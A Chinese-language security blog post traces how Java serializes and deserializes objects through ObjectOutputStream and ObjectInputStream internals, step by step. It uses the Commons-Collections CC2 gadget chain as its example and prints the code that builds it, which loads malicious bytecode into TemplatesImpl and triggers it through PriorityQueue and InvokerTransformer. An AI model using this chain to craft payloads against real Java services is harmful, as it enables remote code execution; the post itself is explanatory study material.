前言
在学习反序列化的漏洞时,大致都是了解了一些知识,比如序列化就是写入对象,反序列化就是读取文件恢复对象,在这个过程中会自动调用一些方法,readObject,writeObject,静态代码块等,但是从来没有了解过这个过程是怎么样的,一直很模糊,所以在这篇文章里面会记录整个学习过程,参考的技术文章较少,可能会有错误,希望理解
这里用cc2来举一个例子,并不解释cc2的原理,主要看一下是怎么写入序列化的数据和怎么读取反序列化的数据的
PriorityQueue的变量组成
因为在序列化的过程中,静态常量,由transient修饰的变量都不会被序列化,serialVersionUID这个变量也是,所以在序列化PriorityQueue的时候,只有以下两个变量是可以被序列化的,同时也是执行命令的关键
private int size = 0;
private final Comparator<? super E> comparator;
cc2代码:
public static void vulnToTemplatesImpl() throws IOException, CannotCompileException, NotFoundException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(1);
//获取恶意类的字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("util.Evil");
byte[] evilPayload = ctClass.toBytecode();
//设置恶意字节码到TemplatesImpl中
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_name","v1f18");
// SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilPayload});
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
SerializeUtil.setFieldValue(priorityQueue,"comparator",transformingComparator);
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] o = (Object[]) queue.get(priorityQueue);
o[0] = templates;
SerializeUtil.writeObjectToFile(priorityQueue);
SerializeUtil.readObjectToFile();
}
ObjectOutputStream过程分析
进入ObjectOutputStream的单参数构造方法中
进入verifySubclass
这个verifySubclass上面有注释,大致意思就是在不违反安全限制下序列化这个类
通过getClass返回当前类的class类,判断是否为ObjectOutputStream.class
一般来说代码就直接return回去了,只有其他类(不是ObjectOutputStream的子类)才会继续执行下面的代码(权限检查),本意就是保护ObjectOutputStream类的内部实现和数据完整性
接着往下走
bout是一个BlockDataOutputStream类,将序列化的数据写入out中
handles,subs一个用于管理内存中的数据结构,另一个用于替代对象,
进入writeStreamHeader方法
这里用于bout写入魔术头,在之前就了解过java的序列化数据开头为aced0005,这个魔术头就是在这里写入的,对应的两个魔术头参数:
继续往下,bout.setBlockDataMode(true)表示开启以块模式写入,这个块模式简单理解就是方便序列化数据的传输
然后接着往下走,查看extendedDebugInfo是什么:
这个表示是否开启调试信息
然后进入writeObject
enableOverride在构造方法里面已经设置了false
进入writeObject0
这个subs.lookup(obj),去寻找ReplaceTable中是否已经存在了obj的类,如果不存在就返回对象本身
handles.lookup(obj)也是一样的,如果没找到,则返回-1
接着往下跟
先获取obj的class对象赋值给cl,进入死循环,进入ObjectStreamClass.lookup(cl, true)方法
这个方法主要用来在缓存中查找是否存在要序列化的对象的class,如果没有就创建一个ObjectStreamClass,里面用于存放class类的一些信息
new WeakClassKey(cl, Caches.localDescsQueue)将cl与Caches.localDescsQueue分别对应Reference中的referent和queue
进入Caches.localDescs.putIfAbsent(key, newRef);
这里是将key(里面包含了PriorityQueue.class)和newRef做一个关联,代表这个cl已经处理过了
然后进入构造方法
这个构造方法里面就包含了关于class的类描述内容
有class对象,class的名称,serialVersionUID,是否重写了writeObject和readObject,以及一些没有被transient修饰的属性…
这里验证前面说的只有这两个变量是可以被序列化的,结束构造方法
结束ObjectStreamClass.lookup(cl, true)
返回writeObject0
obj.getClass()) == cl这个是恒成立的,直接break死循环出去
下面的enableReplace为false,这个enableReplace只有在ObjectOutputStream的子类中才有可能为true
下面的obj != orig也为false,在上面obj赋值给orig
然后运行到这:
这个就肯定得进入了,不然就要爆一个序列化的类没实现Serializable的错了
跟入writeOrdinaryObject
extendedDebugInfo调试信息为false,之前分析过了
检查是否能序列化
bout.writeByte(TC_OBJECT)写入0x73,进入:writeClassDesc
进入writeNonProxyDesc
写入0x72,进入writeClassDescriptor
跟进
写入class的name,反序列化suid,flags(对应class的类别),变量的个数
在下面写入最主要的关于变量的描述:
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
out.writeByte(f.getTypeCode());
out.writeUTF(f.getName());
if (!f.isPrimitive()) {
out.writeTypeString(f.getTypeString());
}
}
结束返回到writeNonProxyDesc
这个时候可以用编辑器打开序列化的数据:
和分析的一样
这个annotateClass应该留给子类扩展的
进入writeClassDesc
注意参数desc.getSuperDesc(),PriorityQueue的AbstractQueue父类没有实现Serializable所以为空
返回null,执行到writeOrdinaryObject
进入writeSerialData
这里判断了是否重写WriteObject方法,PriorityQueue是有重写的,如果没有重写的话,就是另外的逻辑去写入数据了
进入到PriorityQueue的WriteObject
defaultWriteObject用来将具体的变量值写入序列化数据中
将PriorityQueue对象和PriorityQueue类描述符传入,进入defaultWriteFields
主要看这个for循环
desc.getFields(false)获取类的字段,就是那两个
desc.getNumObjFields()返回被修改的字段数,我们只修改了一个,所以返回1
进入getObjFieldValues看一下
继续
这个循环没看懂,大致意思应该就是把修改了的数据赋值吧
返回defaultWriteFields方法
循环这个objVals,其实这里就已经很明白了,就是通过递归的方式去写入数据
进入writeObject0
看这个obj和之前的PriorityQueue一样啊,这里就不再分析了,都是一样的流程
所以重写的writeObject的逻辑最主要的地方就是在defaultWriteObject里面
回到PriorityQueue的writeObject方法,最后就是看属性有没有重写writeObjet方法了
序列化的过程分析到这里结束
ObjectInputStream过程分析
进入ObjectInputStream的构造方法
这个verifySubclass和上面序列化时相同
bin:用于处理输入流的对象,将读取的数据进行解析
handles:与对象对应的表
vlist:反序列化完成之后需要执行的方法列表
进入readStreamHeader:
这里与序列化对应,判断前两个字节是否为0xaced0005
下面的setBlockDataMode就是开启以块模式读取
然后进入readObject方法
进入readObject0
获取当前的读取模式,这个在之前的构造方法里面设置了为true
bin.currentBlockRemaining()用于返回还没有读取的字节数
然后再由bin.setBlockDataMode(false)关闭块模式
bin.peekByte()用于查看下一个字节是否为最后一个字节
这里的bin.peekByte()读取的就是在序列化的时候写入的0x73,这里都是和序列化过程对应的
进入readOrdinaryObject
在这个方法里面有判断了一次是否为0x73
进入readClassDesc
这个方法主要返回类的描述信息,读取的tc为114对应的0x72
进入readNonProxyDesc
这个assign方法就是将desc这个对象和一个句柄绑定,这样就就可以通过句柄在句柄表中快速找到对应的对象
进入readClassDescriptor
这个就是读取类描述的主要方法了,看一下readNonProxy读取了哪些信息
类名称name,serialVersionUID,是否为代理对象,是否重写了WriteObject,以及成员变量等
这里的numFields也是和上面的序列化过程对应的两个可序列化的变量,然后创建长度为2的ObjectStreamField数组
看一下for循环
利用readByte读取下一个字节,readUTF读取类名信息
判断这个变量是什么类型的,比如我这里的第一个Isize,在创建ObjectStreamField的时候就会选择对应的类型:
其实在这里也写了[,L为Object类型,后面那个comparator变量就不分析了一样的
然后回到readNonProxyDesc方法,readDesc就是类描述的对象
进入resolveClass方法
这里其实就是类加载里面的一个过程,链接指定的类,说白了就是返回对应的类class对象
返回对应的PriorityQueue.class,注意这里的Class.forName的第二个参数为false即不初始化,所以不会去执行静态代码块
退出resolveClass
skipCustomData()方法用于跳过所有块数据和对象,直到遇到 TC_ENDBLOCKDATA。
然后进入initNonProxy()方法
先获取了serialVersionUID,进入lookup方法
和序列化的时候一样,返回对应的class描述对象osc,但是这里有一个在反序列化中常用的操作,就是去执行静态代码块,简单看一下就好了分两种情况
-
类存在serialVersionUID变量,在new ObjectStreamClass(cl)的构造方法里面,会去调用getDeclaredSUID,getDeclaredSUID里面f.getLong(null),这里的f其实就是在获取对应的serialVersionUID参数
在第一次获取的时候,会导致类的加载和初始化,所以会去执行静态代码块,这个没法分析,底层都是c来写的,看不到源码
-
不存在serialVersionUID变量,在initNonProxy的osc.getSerialVersionUID()[因为不存在serialVersionUID,所以需要去计算这个类的serialVersionUID]中存在computeDefaultSUID方法,来计算serialVersionUID,这里面就存在了如果有静态代码块的话就去执行
继续往下调试
在这个位置,对比了SerialVersionUID,如果不相同的话就会抛异常
然后这里就初始化了一些非代理类的描述参数
然后回到readNonProxyDesc方法
handles.finish(descHandle)这个方法应该表示对应的句柄已经使用完成,把这个descHandle标记成已经完成
然后回到readOrdinaryObject了
desc.checkDeserialize();检查是否允许对类的反序列化
获取对应的class赋值给cl
obj = desc.isInstantiable() ? desc.newInstance() : null;
检查这个类是否可以外部化并且(或父类)存在无参构造方法,则返回true,即创建对应的对象赋值给obj
然后下面还有一个需要关注的地方:
这个readSerialData中包含了我们是否需要执行用户自定义的readObject方法
如果有的话就会进入slotDesc.invokeReadObject(obj, this)来反射调用readObject,进入PriorityQueue的readObject方法
进入defaultReadObject,这个方法也是和序列化的defaultWriteObject一样的,去获取对应变量的值,也是递归的方式,具体往下看
进入defaultReadFields,将PriorityQueue对象和PriorityQueue描述传入
这里主要看这个for循环,这个代码看着非常熟悉,先获取全部的序列化变量,然后获取修改的变量个数
进入readObject0(f.isUnshared())
进入readOrdinaryObject
从这里开始就又开始递归了,这里简化一些
从readClassDesc方法读取下一个字节判断下一个字段的类型进入对应的方法readNonProxyDesc
从readClassDescriptor里读取类描述,然后从resolveClass获取对应类描述的类class,然后initNonProxy来对类描述初始化,而后在进入readSerialData进行读取变量数据,执行readObject,最后又开始递归直到任务完成即读完所有内容
最后进入到checkResolve
这个方法主要检查obj是否有效
然后回到readObject了
下面就是准备结束整个反序列化过程了,并且调用回调函数,到这里也就结束了。
总结
我这里没有去看cc2是如何执行命令的,而是侧重怎么把数据写入和读取,如果跟完整个过程,会发现其实本质上就是在自动的调用各处的代码,在这些自动调用的代码中寻找突破口已到达执行命令的目的
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):反序列化与序列化过程分析